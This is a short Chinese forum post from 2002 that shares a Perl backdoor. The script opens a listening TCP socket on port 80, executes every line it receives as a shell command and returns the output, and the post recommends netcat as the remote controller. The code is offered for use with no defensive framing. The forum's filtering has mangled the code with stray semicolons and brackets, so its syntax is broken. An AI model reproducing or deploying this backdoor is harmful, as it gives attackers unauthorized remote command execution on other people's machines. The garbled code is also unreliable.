- 论坛徽章:
- 0
|
下面是一段很“短”的代码,是客户端的,他打开一个断口监听并执行远程发出的命令,将结果返回给远程的控制端。(远程的控制端推荐使用netcat)
PS:这个论坛过滤符号!
#
# by Locust 2002/in china
# icq:46741881
#!/usr/bin/perl
use IO::Socket;
my $socket = new IO::Socket::INET ( 'Localhost'=>;'127.0.0.1' , 'LocalPort'=>;80 , 'Listen'=>;1 , 'Proto'=>;'tcp' , 'Reuse'=>;1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->;accept() ) {
while (my $buffer=<$new_socket> {
if ($buffer) {exit if ($buffer=~m/exit/);
$res_msg=`$buffer`;$res_msg="error command!!\n" if (!$res_msg);
print $new_socket $res_msg."\n";]}
|
|